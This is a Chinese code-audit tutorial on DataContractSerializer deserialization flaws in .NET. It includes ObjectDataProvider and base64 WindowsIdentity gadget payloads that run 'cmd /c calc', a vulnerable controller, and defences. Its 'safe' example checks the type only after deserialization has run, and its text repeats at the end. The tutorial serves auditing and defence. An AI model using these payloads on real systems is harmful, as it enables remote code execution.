.NET高级代码审计(第六课) DataContractSerializer反序列化漏洞
字数 1815 2025-08-18 11:38:22

DataContractSerializer反序列化漏洞分析与防御

一、概述

DataContractSerializer是.NET框架中用于序列化和反序列化Windows Communication Foundation (WCF)消息中数据的类,位于System.Runtime.Serialization命名空间,继承于System.Runtime.Serialization.XmlObjectSerializer。当开发者使用DataContractSerializer.ReadObject读取恶意构造的XML数据时,可能导致反序列化漏洞,实现远程代码执行(RCE)攻击。

二、DataContractSerializer序列化机制

2.1 基本用法

要使用DataContractSerializer进行序列化,需要遵循以下规则:

  • 类需要使用[DataContract]属性标记
  • 类成员需要使用[DataMember]属性标记

示例代码:

[DataContract]
public class TestClass
{
    [DataMember]
    public string Name { get; set; }
    
    [DataMember]
    public int Age { get; set; }
    
    [DataMember]
    public string Address { get; set; }
    
    public static void ClassMethod(string cmd)
    {
        Process.Start(cmd);
    }
}

2.2 序列化过程

序列化通过创建对象实例并赋值后,使用DataContractSerializer.WriteObject方法实现.NET对象到XML的转换:

TestClass test = new TestClass 
{
    Name = "Ivan1ee",
    Age = 18,
    Address = "360 Cloud Shadow Lab"
};

DataContractSerializer serializer = new DataContractSerializer(typeof(TestClass));
serializer.WriteObject(stream, test);

三、DataContractSerializer反序列化机制

3.1 反序列化原理

反序列化过程是将XML数据转换回对象,通过创建DataContractSerializer实例后调用ReadObject方法实现:

DataContractSerializer serializer = new DataContractSerializer(typeof(TestClass));
TestClass test = (TestClass)serializer.ReadObject(stream);

3.2 反序列化流程分析

  1. 创建DataContractSerializer实例时传入类型解析器(Type)
  2. 在Initialize方法中将Type赋值给rootType成员
  3. 调用ReadObject方法,内部调用ReadObjectHandleExceptions
  4. 进入InternalReadObject方法体
  5. 通过ReadDataContractValue方法处理数据
  6. 最终通过ReadXmlValue方法完成反序列化

关键点:反序列化过程中会通过DataContract.GetClrTypeFullName获取CLR数据类型的全限定名。

四、攻击向量分析

4.1 ObjectDataProvider攻击向量

漏洞原理
当DataContractSerializer初始化时的type参数可控时,攻击者可以控制重构对象的类型,通过反序列化恶意XML数据实现RCE。

利用方式
使用ObjectDataProvider类调用任意被引用类中的方法,特别是结合Process.Start方法执行系统命令。

攻击Payload示例

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
      type="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
    <ObjectDataProvider MethodName="Start" ObjectInstance="{x:Type Process}">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</root>

4.2 WindowsIdentity攻击向量

漏洞原理
WindowsIdentity类继承了ClaimsIdentity并实现了ISerializable接口,可以控制反序列化的数据类型,且不使用反射机制,执行效率更高。

攻击Payload示例

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
      type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" 
                    xmlns:x="http://www.w3.org/2001/XMLSchema" 
                    xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">
        <System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">
            <!-- 经过编码的恶意payload -->
            AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
        </System.Security.ClaimsIdentity.bootstrapContext>
    </WindowsIdentity>
</root>

五、代码审计要点

5.1 漏洞入口点识别

在代码审计中,需要重点关注以下模式:

// 类型可控的DataContractSerializer初始化
DataContractSerializer serializer = new DataContractSerializer(Type.GetType(typeName));

// 反序列化操作
var obj = serializer.ReadObject(xmlReader);

关键风险点:

  1. 类型解析器(type)是否可控
  2. 是否允许用户输入XML数据
  3. 是否对反序列化的类型进行了严格限制

5.2 典型漏洞代码示例

public ActionResult Deserialize(string xml)
{
    // 危险:未对输入类型进行限制
    DataContractSerializer serializer = new DataContractSerializer(typeof(Object));
    
    using (var reader = new StringReader(xml))
    {
        var xmlReader = new XmlTextReader(reader);
        var obj = serializer.ReadObject(xmlReader);
        return View(obj);
    }
}

六、防御措施

6.1 输入验证

  1. 对用户提供的XML数据进行严格验证
  2. 使用XML Schema验证输入结构
  3. 过滤可疑的XML元素和属性

6.2 类型限制

  1. 使用已知安全的类型白名单
  2. 避免使用typeof(Object)或动态类型解析
  3. 实现自定义的DataContractResolver限制可反序列化的类型

示例安全代码:

private static readonly HashSet<Type> AllowedTypes = new HashSet<Type>
{
    typeof(SafeType1),
    typeof(SafeType2),
    // 其他允许的类型
};

public ActionResult SafeDeserialize(string xml)
{
    var serializer = new DataContractSerializer(typeof(SafeType1));
    
    using (var reader = new StringReader(xml))
    {
        var xmlReader = new XmlTextReader(reader);
        var obj = serializer.ReadObject(xmlReader);
        
        if (!AllowedTypes.Contains(obj.GetType()))
        {
            throw new SecurityException("Type not allowed");
        }
        
        return View(obj);
    }
}

6.3 其他防御措施

  1. 使用.NET框架提供的最新安全补丁
  2. 实现输入数据的签名验证
  3. 在沙箱环境中执行反序列化操作
  4. 监控和记录反序列化操作

七、总结

DataContractSerializer反序列化漏洞的核心在于:

  1. 类型解析器(type)可控
  2. 允许反序列化恶意构造的XML数据

虽然攻击需要控制type参数使得攻击成本相对较高,但在实际开发中DataContractSerializer使用频率较高,仍需高度重视其安全性。开发人员应当:

  1. 严格限制可反序列化的类型
  2. 验证所有输入数据
  3. 遵循最小权限原则
  4. 保持框架和库的更新

通过正确的安全编码实践和防御措施,可以有效防范DataContractSerializer反序列化漏洞带来的风险。

DataContractSerializer反序列化漏洞分析与防御 一、概述 DataContractSerializer是.NET框架中用于序列化和反序列化Windows Communication Foundation (WCF)消息中数据的类,位于System.Runtime.Serialization命名空间,继承于System.Runtime.Serialization.XmlObjectSerializer。当开发者使用DataContractSerializer.ReadObject读取恶意构造的XML数据时,可能导致反序列化漏洞,实现远程代码执行(RCE)攻击。 二、DataContractSerializer序列化机制 2.1 基本用法 要使用DataContractSerializer进行序列化,需要遵循以下规则: 类需要使用 [DataContract] 属性标记 类成员需要使用 [DataMember] 属性标记 示例代码: 2.2 序列化过程 序列化通过创建对象实例并赋值后,使用 DataContractSerializer.WriteObject 方法实现.NET对象到XML的转换: 三、DataContractSerializer反序列化机制 3.1 反序列化原理 反序列化过程是将XML数据转换回对象,通过创建DataContractSerializer实例后调用 ReadObject 方法实现: 3.2 反序列化流程分析 创建DataContractSerializer实例时传入类型解析器(Type) 在Initialize方法中将Type赋值给rootType成员 调用ReadObject方法,内部调用ReadObjectHandleExceptions 进入InternalReadObject方法体 通过ReadDataContractValue方法处理数据 最终通过ReadXmlValue方法完成反序列化 关键点:反序列化过程中会通过DataContract.GetClrTypeFullName获取CLR数据类型的全限定名。 四、攻击向量分析 4.1 ObjectDataProvider攻击向量 漏洞原理 : 当DataContractSerializer初始化时的type参数可控时,攻击者可以控制重构对象的类型,通过反序列化恶意XML数据实现RCE。 利用方式 : 使用ObjectDataProvider类调用任意被引用类中的方法,特别是结合Process.Start方法执行系统命令。 攻击Payload示例 : 4.2 WindowsIdentity攻击向量 漏洞原理 : WindowsIdentity类继承了ClaimsIdentity并实现了ISerializable接口,可以控制反序列化的数据类型,且不使用反射机制,执行效率更高。 攻击Payload示例 : 五、代码审计要点 5.1 漏洞入口点识别 在代码审计中,需要重点关注以下模式: 关键风险点: 类型解析器(type)是否可控 是否允许用户输入XML数据 是否对反序列化的类型进行了严格限制 5.2 典型漏洞代码示例 六、防御措施 6.1 输入验证 对用户提供的XML数据进行严格验证 使用XML Schema验证输入结构 过滤可疑的XML元素和属性 6.2 类型限制 使用已知安全的类型白名单 避免使用 typeof(Object) 或动态类型解析 实现自定义的 DataContractResolver 限制可反序列化的类型 示例安全代码: 6.3 其他防御措施 使用.NET框架提供的最新安全补丁 实现输入数据的签名验证 在沙箱环境中执行反序列化操作 监控和记录反序列化操作 七、总结 DataContractSerializer反序列化漏洞的核心在于: 类型解析器(type)可控 允许反序列化恶意构造的XML数据 虽然攻击需要控制type参数使得攻击成本相对较高,但在实际开发中DataContractSerializer使用频率较高,仍需高度重视其安全性。开发人员应当: 严格限制可反序列化的类型 验证所有输入数据 遵循最小权限原则 保持框架和库的更新 通过正确的安全编码实践和防御措施,可以有效防范DataContractSerializer反序列化漏洞带来的风险。